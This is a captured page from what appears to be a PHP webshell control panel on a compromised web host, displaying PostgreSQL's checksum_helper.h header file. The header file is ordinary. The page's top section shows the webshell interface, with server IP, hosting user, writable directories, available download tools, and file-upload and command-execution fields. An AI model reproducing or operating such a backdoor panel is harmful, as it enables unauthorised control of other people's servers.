403Webshell
Server IP : 185.216.8.13  /  Your IP : 216.73.216.159
Web Server : Apache
System : Linux webhost-vie2.sitetide.com 4.18.0-553.156.1.el8_10.x86_64 #1 SMP Mon Aug 17 17:52:57 UTC 2026 x86_64
User : medicalkn ( 9986)
PHP Version : 8.2.33
Disable Function : syslog
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/thread-self/root/proc/thread-self/root/usr/pgsql-17/include/server/common/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/root/proc/thread-self/root/usr/pgsql-17/include/server/common/checksum_helper.h
/*-------------------------------------------------------------------------
 *
 * checksum_helper.h
 *	  Compute a checksum of any of various types using common routines
 *
 * Portions Copyright (c) 2016-2024, PostgreSQL Global Development Group
 *
 * IDENTIFICATION
 *		  src/include/common/checksum_helper.h
 *
 *-------------------------------------------------------------------------
 */

#ifndef CHECKSUM_HELPER_H
#define CHECKSUM_HELPER_H

#include "common/cryptohash.h"
#include "common/sha2.h"
#include "port/pg_crc32c.h"

/*
 * Supported checksum types. It's not necessarily the case that code using
 * these functions needs a cryptographically strong checksum; it may only
 * need to detect accidental modification. That's why we include CRC-32C: it's
 * much faster than any of the other algorithms. On the other hand, we omit
 * MD5 here because any new that does need a cryptographically strong checksum
 * should use something better.
 */
typedef enum pg_checksum_type
{
	CHECKSUM_TYPE_NONE,
	CHECKSUM_TYPE_CRC32C,
	CHECKSUM_TYPE_SHA224,
	CHECKSUM_TYPE_SHA256,
	CHECKSUM_TYPE_SHA384,
	CHECKSUM_TYPE_SHA512,
} pg_checksum_type;

/*
 * This is just a union of all applicable context types.
 */
typedef union pg_checksum_raw_context
{
	pg_crc32c	c_crc32c;
	pg_cryptohash_ctx *c_sha2;
} pg_checksum_raw_context;

/*
 * This structure provides a convenient way to pass the checksum type and the
 * checksum context around together.
 */
typedef struct pg_checksum_context
{
	pg_checksum_type type;
	pg_checksum_raw_context raw_context;
} pg_checksum_context;

/*
 * This is the longest possible output for any checksum algorithm supported
 * by this file.
 */
#define PG_CHECKSUM_MAX_LENGTH		PG_SHA512_DIGEST_LENGTH

extern bool pg_checksum_parse_type(char *name, pg_checksum_type *);
extern char *pg_checksum_type_name(pg_checksum_type);

extern int	pg_checksum_init(pg_checksum_context *, pg_checksum_type);
extern int	pg_checksum_update(pg_checksum_context *, const uint8 *input,
							   size_t len);
extern int	pg_checksum_final(pg_checksum_context *, uint8 *output);

#endif

Youez - 2016 - github.com/yon3zu
LinuXploit